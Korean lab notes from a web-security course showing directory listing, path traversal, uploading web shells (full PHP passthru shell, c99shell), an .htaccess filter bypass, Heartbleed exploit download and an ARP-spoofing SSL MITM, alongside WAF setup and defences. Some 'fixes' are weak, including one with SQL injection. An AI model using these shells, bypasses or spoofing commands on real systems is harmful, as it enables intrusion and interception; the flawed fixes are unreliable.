5 분 소요

Directory Listing 취약점

2022-11-01-01디렉


취약점 확인 해보기

2022-11-01-04멤버

이렇게 디렉터리 안의 구조가 다 보입니다.


취약한 이유

웹서버의 하위 디렉터리 별로 index.html 이 없으면 디렉터리내의 모든 내용이 보여집니다
[root@localhost html]# cd /var/www/html/member/
[root@localhost member]# ls
member_info.php         member_login_check.php  member_nick_change.php
member_info_change.php  member_logout.php       member_register.php
member_login.php        member_nick.php         member_register_ok.php

[root@localhost member]# echo member /var/www/html/member/index.html
member /var/www/html/member/index.html
[root@localhost member]# echo member > /var/www/html/member/index.html
[root@localhost member]# ls
index.html              member_login.php        member_nick.php         member_register_ok.php
member_info.php         member_login_check.php  member_nick_change.php
member_info_change.php  member_logout.php       member_register.php
만들고 다시 확인

2022-11-01-03멤버


디렉터리 설정파일 확인

2022-11-01-05설정파일


방어

vim /etc/httpd/conf/httpd.conf

331     #Options Indexes FollowSymLinks    << 주석
 332     Options FollowSymLinks            << 추가

2022-11-01-06적용확인




File Download

2022-11-01-07파일다운


취약점 1

2022-11-01-08취약점1


취약점 2

2022-11-01-09취약점2

[root@localhost html]# ls -al /var/www/html/board/upload/
합계 8
drwxr-xr-x 2 root root 4096 2016-12-31 18:08 .
drwxr-xr-x 3 root root 4096 2022-11-02 04:29 ..
test.txt 파일이 upload되지 않음

파일 업로드 쪽 디렉터리 퍼미션을 777 
[root@localhost html]# chmod 777 /var/www/html/board/upload/
[root@localhost html]# ls -ld /var/www/html/board/upload/
drwxrwxrwx 2 root root 4096 2016-12-31 18:08 /var/www/html/board/upload/


다시 업로드 시도

2022-11-01-11취약점2

[root@localhost html]# ls -al /var/www/html/board/upload/
합계 12
drwxrwxrwx 2 root   root   4096 2022-11-02 05:13 .
drwxr-xr-x 3 root   root   4096 2022-11-02 04:29 ..
-rw-r--r-- 1 apache apache    8 2022-11-02 05:13 test.txt       << 파일 업로드 완료

이 게시글을 쓰는 사용자 계정이 root가 아닌 apache계정 이므로
퍼미션을 부여해 줘야 합니다.


웹 서버 디렉터리 구조

웹서버 디렉터리 구조
/var/www/html/index.php

/var/www/html/member/member~~~.php

/var/www/html/board/board~~~.php
/var/www/html/board/upload/test.txt 

../../index.php -> Directory Traversal 


업로드 확인 > 다운로드

게시판에서 파일 다운로드 클릭후 paros 에서 확인

2022-11-01-13취약점2

2022-11-01-14취약점2


취약점 3

2022-11-01-15취약점3


방어 1

Directory Traversal에 해당하는 “../” 문자열을 적절하게 필터링 하는 방법

vim /var/www/html/board/board_file_download.php

<?php
  $file_name = urldecode($_GET['filename']);
  $file_name = str_replace("../","",$file_name); << 추가
  $file_path = "./upload/$file_name";
  $file_size = filesize($file_path);

  header("Content-Type: application/x-octetstream");
  header("Content-Disposition: attachment; filename=".urlencode($file_name));
  header("Content-Transfer-Encoding: binary");
  header("Content-Length: $file_size");

  readfile($file_path);

 ?>

확인

2022-11-01-16방어


방어 2

업로드된 파일만 다운로드 할수 있도록

주의점 : 디렉터리를 ls 해서 확인 X ,

데이터베이스에 파일명이 저장된 것을 가지고 비교

실제로 DB 에는 있지만 파일이 존재 하지 않을수도 있음


board 테이블의 파일 업로드 관련 정보 확인

2022-11-01-17방어


/var/www/html/board/board_file_download.php

<?php
  $file_name = urldecode($_GET['filename']);
  // $file_name = str_replace("../","",$file_name);
  
  require("../dbconn.php");
	$strSQL = "select * from board where filename='{$file_name}'";
  $result = mysql_query($strSQL);
  $rs_row = mysql_fetch_array($result);
  echo $rs_row['filename']."<br>".$file_name;

  if($rs_row['filename'] != $file_name)
  { 
    echo "<script>alert('file not found');</script>";
    exit;
  }


  $file_path = "./upload/$file_name";
  $file_size = filesize($file_path);

  header("Content-Type: application/x-octetstream");
  header("Content-Disposition: attachment; filename=".urlencode($file_name));
  header("Content-Transfer-Encoding: binary");
  header("Content-Length: $file_size");

  readfile($file_path);

?>


확인

2022-11-01-18방어




File Upload

2022-11-01-19파일업로드


phpinfo();

2022-11-01-20php


system(“명령어”);

2022-11-01-21php


c99shell Upload

2022-11-01-22업로드

2022-11-01-23업로드

업로드 경로 
/var/www/html/board/upload/c99shell.PhP
http://서버주소/board/upload/c99shell.PhP


Web Shell 실행

http://서버주소/board/upload/c99shell.PhP

2022-11-01-24웹쉘


다른 web shell 실행

<html>
	<head></head>
	<body>
		<div align="left">
			<font size="2">Input command : </font>
			<form name="cmd" method="post" enctype="multipart/form-data">
				<input type="text" name="cmd" size="30" class="input"><br>
				<pre>
				<?php
				if($_POST['cmd']){
					$cmd = $_POST['cmd'];
					passthru($cmd);
				}
				?>
				</pre>
			</form>
		</div>
		<hr>
		<div align="left">
			<font size="2">Uploader file : </font>
			<form name="forml" method="post" enctype="multipart/form-data">
				<input type="text" name="dir" size="30" value="<? passthru("pwd"); ?>">
				<input type="submit" name="submit2" value="Upload">
				<input type="file" name="file" size="15"
				<pre>
				<?php
				$uploaded = $_FILES['file']['tmp_name'];
				if(file_exists($uploaded)){
					$pwddir = $_POST['dir'];
					$real = $_FILES['file']['name'];
					$dez = $pwddir."/".$real;
					copy($uploaded, $dez);
					echo "FILE UPLOADED TO $dez";	
				}
				?>
				</pre>
			</form>
		</div>
	</body>
</html>

위의 코드로 webshell.php 만들어서 게시글에 업로드

2022-11-01-25웹쉘

2022-11-01-26웹쉘


Web Shell로 upload

2022-11-01-27업로드


방어

2022-11-01-28방어


확장자 필터링

파일명 안에 .html , .php 가 있으면 업로드 불가능 하도록

vim /var/www/html/board/board_write_ok.php

// html , php , htm 확장자 사용시 파일 업로드 차단
25                 if(preg_match("/.html|.php|.htm/i",$f_name))  
26                 {
27                 echo "<script>alert('해당 확장자를 가진 파일은 업로드 불가능 합니다.');
28                 history.back();
29                 </script>";
30                 exit;
31                 }

if문 부분 추가


확인

2022-11-01-29방어


.htaccess 파일을 이용한 확장자 필터링 우회

htaccess 를 이용하여 우회 

1) webshell.php 를 복사하여 webshell.txt 로 변경

2) .htaccess 파일 생성 
C:\Documents and Settings\ktest>cd c:\

C:\>copy con .htaccess
Addtype application/x-httpd-php .txt
^Z
        1개 파일이 복사되었습니다.

C:\>type .htaccess
Addtype application/x-httpd-php .txt   --> txt 파일도  php 처럼 해석해주세요 

3) 게시판에 .htaccess 를 업로드
 
4) 게시판에 webshell.txt 를 업로드

5) http://서버주소/board/upload/webshell.txt

2022-11-01-30우회

/etc/httpd/conf/httpd.conf

335 # AllowOverride controls what directives may be placed in .htaccess files.
336 # It can be "All", "None", or any combination of the keywords:
337 #   Options FileInfo AuthConfig Limit
338 #
339 # AllowOverride None
340     AllowOverride All  -> 디렉터리별 .htaccess 사용 관련 

2022-11-01-31우회

/etc/httpd/conf/httpd.conf

339 # AllowOverride None
340     AllowOverride **All**
~
1013 # php parsing format
1014 Addtype application/x-httpd-php .php4 .php .phtml .ph .inc .html .htm  --> 전체 적용 되는 부분

htaccess 를 사용하면 디렉터리별로 별도 지정 가능 




WAPPLES

2022-11-01-32와플


구성 방식

2022-11-01-34인라인

2022-11-01-35프록시


구성도

2022-11-01-37구성도


실습 환경 구성

  1. VirtualBox 설치 https://www.virtualbox.org/
  2. extension pack 설치
  3. WAPPLES OVA import

2022-11-01-38임포트

  1. WAPPLES 설정

2022-11-01-40환경설정

만들기로 2개 만들어서 총 3개가 나오도록 해주시면 됩니다.


이 사진은 설정 순서 사진입니다. 최종 설정은 밑에 사진처럼 해주시면 됩니다.

2022-11-01-39인터페이스

2022-11-01-41환경설정


WAPPLES 로그인

2022-11-01-42로그인


WAPPLES 세부 설정

모드진입

2022-11-01-43모드진입


interface 명 변경

2022-11-01-44인터페이스명


인터페이스 설정

2022-11-01-45인터


bridge 설정

2022-11-01-46브릿지


관리자화면

2022-11-01-47관리자

2022-11-01-48관리자

2022-11-01-49관리자


인증

환경설정 > 시스템 > 라이선스 > 라이선스 등록 > 라이선스 파일 입력 > 해당 인증서 선택 > 검증 
"기능별 라이선스 등록을 완료 하였습니다. 기능 리스트를 확인 하세요" 팝업확인 확인

마법사 > step 1 of 9 
step 2 of 9 
step 3 of 9 : 새로운 웹서버 추가 
step 5 of 9 : Inline 모드 
step 7 of 9 : 웹서버 IP 설정 , 웹서버 IP : 172.16.10.200 ,  웹서버 port : 80 
step 8 of 9 : 웹사이트 설정 , 웹사이트 이름 :  172.16.10.200 ,웹사이트 설명 테스트 , 정책 : 탐지만 하고 차단안함 
step 9 of 9 : 완료


XSS test > 로그 확인

2022-11-01-50xss


SQL Injection : WAS 인증 우회

2022-11-01-51was


SQL injection : non-blind injection

2022-11-01-52논


Directory Listing

2022-11-01-53디렉


File UPload

2022-11-01-54파일




SSL

구성도

2022-11-01-55구성도


ssl 접속 테스트

2022-11-01-56접속


회원가입 하고 게시글 3개정도 만들기

2022-11-01-57환경


https에 공격 해보기

SQL injection : non-blind injection

2022-11-01-58유니온


SQL Injection : WAS 인증 우회

2022-11-01-60인증우회


XSS

2022-11-01-59xss


Directory Listing

2022-11-01-61딕셔너리


W7 -> SSL 을 인식하도록 프로파일을 등록

환경설정 -> 탐지 -> SSL라이선스 -> 확인 -> 저장

2022-11-01-62ssl


W7 -> 웹서버에 등록 : TCP 443

2022-11-01-63웹


W7 -> 정책 설정

2022-11-01-64정책


2008에서 공격하고 w7에서 log 확인

2022-11-01-65공격




Heart Bleed

2022-11-01-66하트블리드


구성도

2022-11-01-67구성도


ping check

2022-11-01-68핑

2022-11-01-69핑


kali -> python 점검

2022-11-01-70파이썬


kali -> https:// 점검

2022-11-01-71접속

한국어 번역이 안되는 버전이라 한글이 깨져서 나오는 겁니다.


kali -> 공격코드 다운로드

2022-11-01-72공격코드

wget https://www.exploit-db.com/download/32745 -O heartbleed.py


kali -> python 실행 테스트

2022-11-01-74파일확인


kali -> 웹사이트 로그인 실패 성공 몇번 해보기

파이선으로 공격코드 실행 하여 확인

2022-11-01-77공격


방어

iso 파일 옮기기

2022-11-01-78파일


mount

2022-11-01-79마운트


repository

vim /etc/yum.repos.d/local.repo
[local-repo]
name=Local Repository
baseurl=file:///media
enabled=1
gpgcheck=0

mv /etc/yum.repos.d/CentOS*.repo /root
mv /etc/yum.repos.d/mysql*.repo /root

yum clean all
yum repolist

2022-11-01-80리포


openssl 버전 확인

2022-11-01-83현재버전


httpd service 재시작 하고 다시 공격 해보기

2022-11-01-82확인

더 이상 취약점이 없다고 나오는 모습 입니다.




SSL MITM

2022-11-01-84mitm


구성도

2022-11-01-85mitm


공격자의 인증서를 생성

2022-11-01-86인증서


인증서 확인2022-11-01-87인증서확인


가짜 인증서 동작

1번 터미널
webmitm -d

가짜 웹서버 동작
service apache2 restart


arpspoofing

2번 터미널
arpspoof -t 공격대상 공격자

3번 터미널
arpspoof -t 공격자 공격대상


패킷 포워딩

4번 터미널
fragrouter -B1


tcpdump 를 이용하여 지나가는 SSL 패킷을 캡쳐

5번 터미널
tcpdump -i eth- -xX -w ssldump.pcap


총 5개의 터미널 필요

webmitm -d
arpspoof -t xp 웹서버
arpspoof -t 웹서버 XP
fragrouter -B1
tcpdump -i eth0 -xX -w ssldump.pcap


XP -> 172.16.0.120 Web site 로그인, 로그아웃

arp spoofing 확인

C:\Documents and Settings\ktest>arp -a

Interface: 172.16.0.100 --- 0x10003
  Internet Address      Physical Address      Type
  172.16.0.110          00-0c-29-3c-03-24     dynamic
  172.16.0.120          00-0c-29-3c-03-24     dynamic
  172.16.0.254          00-50-56-e9-41-7c     dynamic


kali


업데이트:

댓글남기기